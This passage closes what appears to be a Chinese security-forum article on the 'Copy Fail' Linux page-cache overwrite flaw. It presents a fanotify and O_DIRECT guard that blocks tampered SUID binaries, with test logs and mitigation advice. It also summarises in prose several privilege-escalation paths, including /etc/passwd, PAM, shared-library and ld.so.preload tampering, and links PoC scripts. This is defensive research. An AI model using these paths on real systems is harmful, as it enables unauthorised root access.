事件都做检查又开销太大。</span></p><p><span mpa-font-style="mp0kvm4w14v" style="font-size: 15px;"><span leaf="">Linux 的</span><code><span leaf="">fanotify</span></code><span leaf="">子系统提供了</span><code><span leaf="">FAN_OPEN_EXEC_PERM</span></code><span leaf="">事件（kernel &gt;= 5.0）——在</span><code><span leaf="">execve()</span></code><span leaf="">触发时向用户空间发送权限请求，用户空间程序可以在读取文件内容、做完检查后回复</span><code><span leaf="">FAN_ALLOW</span></code><span leaf="">（放行）或</span><code><span leaf="">FAN_DENY</span></code><span leaf="">（拒绝执行）。将 O_DIRECT 比对与 fanotify 结合，就得到了一个</span><strong><span leaf="">执行时实时拦截</span></strong><span leaf="">方案：</span></span></p><p><span leaf=""><img data-aistatus="1" alt="图片描述" class="rich_pages wxw-img" data-ratio="1.545267489711934" data-type="webp" data-w="972" style="max-width: 100%;" data-imgfileid="311131134" src="https://wechat2rss.xlab.app/img-proxy/?k=7d2a3a66&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FCpo2XCpI7K1dGuxNz2pjahrgPEfOO1TVQnk4RicPKvq0xhnhPFCIH4mzClxE6vCpGhIrdqZDGDcC9K9vuhaXCzHXZMuV7Mgo8NUY6kuuiczRs%2F640%3Fwx_fmt%3Dother%26from%3Dappmsg"/><img class="rich_pages wxw-img" data-src=""/><img class="rich_pages wxw-img" data-src=""/></span></p><p><span leaf="" mpa-font-style="mp0kvm4wqzp" style="font-size: 15px;">设计决策说明：</span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><strong mpa-font-style="mp0kvm4wo0i" style="font-size: 15px;"><span leaf="">仅监控 SUID/SGID 文件</span></strong><p><span leaf="" mpa-font-style="mp0kvm4w4u6" style="font-size: 15px;">启动时扫描目标目录，建立 SUID/SGID 文件集合。非 SUID 文件的执行直接放行，零开销</span></p></li><li><strong mpa-font-style="mp0kvm4w1r4b" style="font-size: 15px;"><span leaf="">跳过 root 执行</span></strong><p><span leaf="" mpa-font-style="mp0kvm4w19sn" style="font-size: 15px;">root 已有最高权限，无需 SUID 提权。在容器逃逸场景中，篡改者是容器内 root，但受害者（执行被篡改 SUID 文件的人）是宿主机普通用户——Guard 正确拦截此场景</span></p></li><li><strong mpa-font-style="mp0kvm4w1ldq" style="font-size: 15px;"><span leaf="">内核兼容性</span></strong></li></ul><p style="margin-left: 16px;margin-right: 16px;"><span mpa-font-style="mp0kvm4w1v61" style="font-size: 15px;"><span leaf="">FAN_OPEN_EXEC_PERM</span><span leaf="">需要 kernel &gt;= 5.0（RHEL 8 通过 backport 支持，已验证）。旧内核自动降级到</span><code><span leaf="">FAN_OPEN_PERM</span></code><span leaf="">（拦截所有 open 事件，在用户空间过滤，开销略高但功能等价）</span></span></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><strong mpa-font-style="mp0kvm4w1r4" style="font-size: 15px;"><span leaf="">无需额外检查写入 FD</span></strong><p><span mpa-font-style="mp0kvm4wjxr" style="font-size: 15px;"><span leaf="">如果 SUID 文件正在被包管理器更新，内核自身通过</span><code><span leaf="">deny_write_access()</span></code><span leaf="">拒绝</span><code><span leaf="">execve()</span></code><span leaf="">（返回</span><code><span leaf="">ETXTBSY</span></code><span leaf="">），不存在&#34;合法更新导致误报&#34;的场景</span></span></p></li></ul><p><span leaf="" mpa-font-style="mp0kvm4w244i" style="font-size: 15px;">在 CentOS 8 (kernel 4.18.0) 上的实验结果：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4w7mo"><span leaf="">2026-05-08 06:57:34 INFO Found 21 SUID/SGID files</span><span leaf=""><br/></span><span leaf="">2026-05-08 06:57:34 INFO Monitoring mount (FAN_OPEN_EXEC_PERM): /usr</span><span leaf=""><br/></span><span leaf="">2026-05-08 06:57:34 INFO Guard active [ENFORCE] (event_size=24, check_root=False)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Copy Fail 篡改 /usr/bin/su 后，普通用户尝试执行:</span></span><span leaf=""><br/></span><span leaf="">2026-05-08 06:57:38 WARNING [ALERT] BLOCKED pid=2677362 uid=1000 /usr/bin/su</span><span leaf=""><br/></span><span leaf="">                            (page cache tampered at offset 0)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 用户侧:</span></span><span leaf=""><br/></span><span leaf="">$ /usr/bin/su</span><span leaf=""><br/></span><span leaf="">bash: /usr/bin/su: 不允许的操作  (<span class="code-snippet__built_in">exit</span> 126)</span></code></pre></p><p><span mpa-font-style="mp0kvm4w1jsg" style="font-size: 15px;"><span leaf="">Guard 成功在</span><code><span leaf="">execve()</span></code><span leaf="">阶段拦截了被篡改的 SUID 二进制，阻止了提权。</span></span></p><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4w21lb" style="font-size: 15px;"><span leaf="">检测覆盖范围</span></span></h4><p><span mpa-font-style="mp0kvm4w1o5k" style="font-size: 15px;"><span leaf="">fanotify Guard 基于</span><code><span leaf="">FAN_OPEN_EXEC_PERM</span></code><span leaf="">拦截</span><code><span leaf="">execve()</span></code><span leaf="">，设计上仅覆盖 SUID/SGID 二进制执行。对照第五章的 7 条宿主机提权路径：</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.5703703703703704" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131146" src="https://wechat2rss.xlab.app/img-proxy/?k=c256f000&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FCpo2XCpI7K0Ir6cF2pgYAwm8YHJkGhcNZMib5FPjZd8ODpaBtMHdpIawaGtPcoW85u8Vo0biaTceNBAAWvRfNFMtW1PBw0aFAGicMuvswIf5W4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span mpa-font-style="mp0kvm4w1iyi" style="font-size: 15px;"><span leaf="">fanotify Guard 解决的是最危急的场景——阻止被篡改的 SUID 二进制执行提权。其余 6 条宿主机路径和容器场景，需要依靠 O_DIRECT 定期扫描来覆盖。扫描优先级建议：PAM 模块和共享库（</span><code><span leaf="">/lib64/security/</span></code><span leaf="">、</span><code><span leaf="">/lib64/*.so</span></code><span leaf="">）&gt; 关键配置文件（</span><code><span leaf="">/etc/passwd</span></code><span leaf="">、</span><code><span leaf="">/etc/profile</span></code><span leaf="">、</span><code><span leaf="">/etc/ld.so.preload</span></code><span leaf="">）&gt; cron 脚本和容器 lower layer。对于 lower layer 中的只读文件，page cache 与磁盘不一致 = 100% 异常，零误报。</span></span></p><blockquote><p><strong mpa-font-style="mp0kvm4w12aa" style="font-size: 15px;"><span leaf="">检测工具demo获取</span></strong><span mpa-font-style="mp0kvm4w1uev" style="font-size: 15px;"><code></code></span></p><p><span mpa-font-style="mp0kvm4w1uev" style="font-size: 15px;"><code><span leaf="">pagecache_guard.py</span></code><span leaf="">及 PoC 脚本已开源：github.com/0xlane/pagecache-guard</span></span></p><p><span leaf="" mpa-font-style="mp0kvm4wgot" style="font-size: 15px;">支持 dry-run 模式、syslog 输出、定期重扫描 SUID 文件等功能。详见仓库 README。</span></p></blockquote><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="display: flex;flex-flow: row;margin: 15px 0% 10px;text-align: center;justify-content: center;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;max-width: 100%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;border-width: 0px;box-sizing: border-box;"><div style="transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><div style="padding: 0px 17px;color: rgb(88, 88, 88);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">九、总结</span></strong></p></div></div></div></div></div></div><h2><span mpa-font-style="mp0kvm4walm" data-mpa-action-id="mp0nk6dnblb" data-pm-slice="0 0 []"><span mpa-font-style="mp0nk6ck1aue" style="font-size: 15px;"><span leaf="" style="">Copy Fail 是一个典型的</span><strong><span leaf="" style="" data-mpa-action-id="mp0nk2l915wm" data-pm-slice="0 0 []">跨子系统设计假设冲突</span></strong><span leaf="">漏洞。</span><code><span leaf="">authencesn</span></code><span leaf="">假设输出 buffer 是安全的内核内存，</span><code><span leaf="">algif_aead</span></code><span leaf="">的 in-place 优化让输出 buffer 包含了 page cache pages，</span><code><span leaf="">splice</span></code><span leaf="">把文件数据零拷贝地引入了这个路径——三者单独来看都是合理的设计，组合在一起却产生了一个持续 9 年的安全漏洞。</span></span></span></h2><p><span mpa-font-style="mp0kvm4w4r3" style="font-size: 15px;"><strong><span leaf="">宿主机层面</span></strong><span leaf="">，攻击面远不止公开 PoC 展示的 SUID 覆写。实验验证了 7 条独立的提权路径：从最简单的</span><code><span leaf="">/etc/passwd</span></code><span leaf="">UID 篡改（1 次 4 字节写入）、PAM 认证绕过（任意密码获取 root）、共享库 live-patching（无需重启即可修改运行中进程的代码段），到</span><code><span leaf="">/etc/profile</span></code><span leaf="">命令注入、Cron 脚本篡改和</span><code><span leaf="">ld.so.preload</span></code><span leaf="">路径劫持——这些路径对所有页缓存覆写漏洞通用，不仅限于 Copy Fail。其中共享库和 PAM 模块因 mmap 引用保持效应具有半永久持久性（</span><code><span leaf="">drop_caches</span></code><span leaf="">无法驱逐）。</span><strong><span leaf="">容器层面</span></strong><span leaf="">，Page Cache 作为跨越隔离边界的全局共享状态，使得跨容器 page cache 污染和只读 volume 绕过成为现实。</span></span></p><p><span mpa-font-style="mp0kvm4w4r3" style="font-size: 15px;"><span leaf="">但经过深入验证，标准 K8s 环境下的零特权容器逃逸在架构上不可行——containerd/runc 不会在宿主机上下文中执行 snapshot 层文件，需要额外的特权配置（hostPath、</span><code><span leaf="">CAP_DAC_READ_SEARCH</span></code><span leaf="">等）才能将 page cache 篡改转化为逃逸。Docker 环境的</span><code><span leaf="">docker export</span></code><span leaf="">可将篡改数据持久化且</span><code><span leaf="">docker diff</span></code><span leaf="">无法发现，在供应链场景中有隐蔽性价值。</span></span></p><p><span mpa-font-style="mp0kvm4w1d19" style="font-size: 15px;"><span leaf="">从更宏观的视角看，Copy Fail 是&#34;splice 零拷贝 + 内核 in-place 写回&#34;这一页缓存覆写模式中的一员——从 2022 年的 Dirty Pipe 到 2026 年的 Copy Fail 和紧随其后的 Dirty Frag (CVE-2026-43284/43500)，splice 将 page cache page 引用注入内核子系统后被意外写回的漏洞已在三个独立子系统中反复出现。Copy Fail 修复后仅 8 天，Dirty Frag 即以同样的原语在不同子系统中被发现。这意味着防御不能只盯着</span><code><span leaf="">AF_ALG</span></code><span leaf="">——下一个变种可能来自任何包含 in-place 操作的零拷贝路径。</span></span></p><p><span mpa-font-style="mp0kvm4wsfu" style="font-size: 15px;"><span leaf="">正因如此，检测的思路应该从&#34;检测攻击手段&#34;转向&#34;检测攻击结果&#34;：</span><code><span leaf="">O_DIRECT</span></code><span leaf="">绕过 page cache 直读磁盘，与普通</span><code><span leaf="">read()</span></code><span leaf="">比对即可发现篡改。这一方法对所有仅修改页缓存的漏洞通用（Copy Fail、Dirty Pipe、Dirty Frag 以及未来同类 0-day），Dirty COW 除外（它会写回磁盘，需要传统文件完整性检查）。对于 SUID/SGID 二进制，将 O_DIRECT 比对与</span><code><span leaf="">fanotify</span></code><span leaf="">的</span><code><span leaf="">FAN_OPEN_EXEC_PERM</span></code><span leaf="">结合，可以在</span><code><span leaf="">execve()</span></code><span leaf="">时实时拦截被篡改的执行；其余攻击面（PAM 模块、共享库、配置文件等）则通过 O_DIRECT 定期扫描覆盖。</span></span></p><p><span mpa-font-style="mp0kvm4w1gm0" style="font-size: 15px;"><strong><span leaf="">防御与检测建议</span></strong><span leaf="">：</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><li><strong mpa-font-style="mp0kvm4w1ubv" style="font-size: 15px;"><span leaf="">升级内核</span></strong><p><span leaf="" mpa-font-style="mp0kvm4wswd" style="font-size: 15px;">（根本修复）</span></p></li><li><strong mpa-font-style="mp0kvm4w1emr" style="font-size: 15px;"><span leaf="">部署 seccomp profile 阻止 AF_ALG</span></strong><p><span leaf="" mpa-font-style="mp0kvm4wfbp" style="font-size: 15px;">（容器环境最简单有效的缓解；Docker ≥ 29.4.3 已内置）</span></p></li><li><strong mpa-font-style="mp0kvm4w1085" style="font-size: 15px;"><span leaf="">部署 fanotify + O_DIRECT Guard</span></strong><p><span leaf="" mpa-font-style="mp0kvm4w175" style="font-size: 15px;">（执行时拦截被篡改的 SUID/SGID 二进制，阻断最直接的提权路径）</span></p></li><li><strong mpa-font-style="mp0kvm4w468" style="font-size: 15px;"><span leaf="">O_DIRECT 定期扫描关键文件</span></strong><p><span mpa-font-style="mp0kvm4w20s4" style="font-size: 15px;"><span leaf="">（覆盖 Guard 无法拦截的攻击面：PAM 模块、共享库、</span><code><span leaf="">/etc/passwd</span></code><span leaf="">、</span><code><span leaf="">/etc/profile</span></code><span leaf="">等配置文件，以及容器 lower layer）</span></span></p></li><li><strong mpa-font-style="mp0kvm4wg64" style="font-size: 15px;"><span leaf="">Auditd / Falco 基线告警</span></strong><p><span leaf="" mpa-font-style="mp0kvm4wo54" style="font-size: 15px;">（审计兜底，记录 AF_ALG 使用行为）</span></p></li></ul><p><em mpa-font-style="mp0kvm4w20wk" style="font-size: 15px;"><span leaf="">漏洞详情最初由 Taeyang Lee 在xint.io公开披露，本文在其基础上进行了独立的深入分析与实验验证。</span></em></p><p><em mpa-font-style="mp0kvm4w20wk" style="font-size: 15px;"><span leaf=""><span textstyle="" style="font-weight: bold;">附录：实验代码</span></span></em></p><p><span leaf="" mpa-font-style="mp0kvm4w1odu" style="font-size: 15px;">本文涉及的所有实验脚本和配置文件均已开源：</span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.30462962962962964" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="311131147" src="https://wechat2rss.xlab.app/img-proxy/?k=de8a9413&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K2C4CUh2HW5lyhKKeYChYMtiaooN2FtF9EhVjdiahSNBNq3kNVgvm4NIibEM4X41G2xsh3vSxWu8PZ3PpqMSxGLI8Ticic06rZBslh8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 16px;"><span leaf="" mpa-font-style="mp0kvm4w1odu" style="font-size: 15px;"><span textstyle="" style="color: rgb(0, 82, 255);font-weight: normal;">*参考文献请点击『阅读原文』查看详情</span></span></p><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;caret-color: rgb(51, 51, 51);background-color: rgb(255, 255, 255);color: rgb(63, 63, 63);letter-spacing: 1px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: auto;margin-left: auto;padding: 15px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;font-variant-numeric: normal;letter-spacing: 0.544px;line-height: 27.2px;width: 656.688px;justify-content: space-between;align-items: center;flex-direction: row;box-shadow: rgb(217, 218, 218) 0px 0px 10px;background-color: rgb(232, 234, 235);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;justify-content: flex-start;align-items: center;flex-direction: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;border-width: 1px;border-style: solid;border-color: rgb(182, 182, 187);border-radius: 50%;width: 70px;height: 70px;overflow: hidden;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1" data-s="300,640" data-type="png" data-w="128" style="-webkit-tap-highlight-color:transparent;outline:0px;border-style:none;letter-spacing:0.544px;display:inline;width:68px;visibility:visible !important;height:68px;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/Cpo2XCpI7K0iaibgDTX3eMRQLibu4U6a19d1UicpHYO4libx8icltsmefmAZ8Xa4kKmVRficHsqYKQbBbxSSjLgkOu6XexS9hiavCtRuK94ZnUpKMrs/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="68" data-cropsely2="68" data-imgfileid="311131121" src="https://wechat2rss.xlab.app/img-proxy/?k=efeaeef0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FCpo2XCpI7K0iaibgDTX3eMRQLibu4U6a19d1UicpHYO4libx8icltsmefmAZ8Xa4kKmVRficHsqYKQbBbxSSjLgkOu6XexS9hiavCtRuK94ZnUpKMrs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-left: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;align-items: flex-start;justify-content: center;flex-direction: column;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" data-immersive-translate-paragraph="1" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 15px;letter-spacing: 1px;font-weight: bolder;"><span leaf="">看雪ID：</span><span leaf="">0xlane</span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;vertical-align: inherit;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: normal;"><span leaf=""><span textstyle="" style="letter-spacing: normal;font-style: italic;"><a href="https://bbs.kanxue.com/user-home-860174.htm" target="_blank">https://bbs.kanxue.com/user-home-860174.htm</a></span></span></span></p></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;min-height: 1em;background-color: rgb(255, 255, 255);"><span data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 14px;color: rgb(136, 136, 136);"><span leaf="">*本文为看雪论坛精华文章，由 </span><span leaf="">0xlane</span><span leaf="">原创，转载请注明来自看雪社区</span></span></p><div style="text-align: center;margin-left: 0px;margin-right: 0px;"><p style="text-align: center;margin-top: 16px;"><a href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458611117&amp;idx=1&amp;sn=f063788f8971edf449fd09571d515ba7&amp;scene=21#wechat_redirect" imgurl="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU/640?wx_fmt=jpeg&amp;from=appmsg" linktype="image" tab="innerlink" data-itemshowtype="0" target="_blank" data-linktype="1"><span style="width:100%;" class="js_jump_icon h5_image_link"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.509375" data-s="300,640" data-type="jpeg" data-w="1280" style="width:100%;" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_jpg/Cpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU/0?wx_fmt=jpeg&amp;from=appmsg" data-cropselx2="578" data-cropsely2="233" data-backw="578" data-backh="294" data-imgfileid="311130825" src="https://wechat2rss.xlab.app/img-proxy/?k=5cafe0fc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FCpo2XCpI7K0NTcVRFDyUWtET22ia094tpMTFWhg50P4ia0ibnVdJapbQXZM7TRta653sX48YW54A2SZem2fdXp5ZRJbFg0CuuJ6hKklEM2WhtU%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></span></a></p><p style="text-align: center;"><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">第十届安全开发者峰会【</span></span><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;margin-left: 0px;margin-right: 0px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align: center;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">议题征集</span></span><span leaf="" mpa-font-style="motlyltcr1u" style="font-size: 14px;" data-mpa-action-id="motlylu51dc6" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;color: rgb(255, 76, 0);">】-欢迎投稿</span></span></p></div><div mpa-from-tpl="t" data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;font-size: 16px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 10px;margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;text-align: left;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: 645px;vertical-align: top;background-color: rgb(248, 248, 248);"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-top: 20px;margin-bottom: 20px;-webkit-tap-highlight-color: transparent;outline: 0px;display: flex;flex-flow: row;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-right: 30px;margin-left: 30px;-webkit-tap-highlight-color: transparent;outline: 0px;display: inline-block;width: auto;vertical-align: top;flex: 100 100 0%;height: auto;align-self: flex-start;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 10px;-webkit-tap-highlight-color: transparent;outline: 0px;"><div data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;color: rgb(68, 73, 85);" data-mpa-action-id="mn46ojsngb5" data-pm-slice="0 0 []"><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span style="-webkit-tap-highlight-color: transparent;outline: 0px;font-weight: bolder;letter-spacing: 1px;font-size: 15px;color: rgb(2, 30, 170);" data-mpa-action-id="mc4gkooxw4z"><span style="color: rgb(2, 30, 170);font-size: 15px;" mpa-font-style="md8f6c2zutc"><span leaf=""><span textstyle="" style="color: rgb(2, 30, 170);"># 往期推荐</span></span></span></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612348&amp;idx=1&amp;sn=9b1f49187644981e264882dedfde45f9&amp;scene=21#wechat_redirect" textvalue="安卓逆向基础知识之frida Hook" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">安卓逆向基础知识之frida Hook</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr65jp" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612341&amp;idx=1&amp;sn=08f4b531105ec2b3a44360f66169db05&amp;scene=21#wechat_redirect" textvalue="2025 强网杯和强网拟态部分题解" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">2025 强网杯和强网拟态部分题解</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61va5" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612340&amp;idx=1&amp;sn=0c799826addbc96801752a6c70938bf1&amp;scene=21#wechat_redirect" textvalue="在逆向分析方面-unidbg真的适合 MCP 吗？" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">在逆向分析方面-unidbg真的适合 MCP 吗？</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf="" mpa-font-style="mn46ojr61ws2" style="font-size: 15px;"><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612335&amp;idx=1&amp;sn=ca23336eef45a4993cc6e5b191e62a61&amp;scene=21#wechat_redirect" textvalue="AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">AI静态分析，内核模块隐藏 Frida 特征，绕过linker私有结构遍历崩溃链</span></a></span></p><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;line-height: 2em;"><span leaf=""><a class="normal_text_link" target="_blank" style="font-size: 15px;color: rgb(2, 30, 170);" href="https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&amp;mid=2458612118&amp;idx=2&amp;sn=47fe8a55e77b2ca8f2f8d73c9a9d99d0&amp;scene=21#wechat_redirect" textvalue="某安全so库深度解析" data-itemshowtype="0" linktype="text" data-linktype="2"><span textstyle="" style="color: rgb(2, 30, 170);">某安全so库深度解析</span></a></span></p></div></div></div></div></div></div></div></div><p data-immersive-translate-walked="c1663967-1885-4644-94a5-9560ba03d104" style="margin-bottom: 0px;-webkit-tap-highlight-color: transparent;outline: 0px;letter-spacing: 0.544px;font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;" nodeleaf=""><img data-aistatus="1" alt="图片" class="rich_pages wxw-img" data-ratio="0.46875" data-s="300,640" data-type="jpeg" data-w="640" 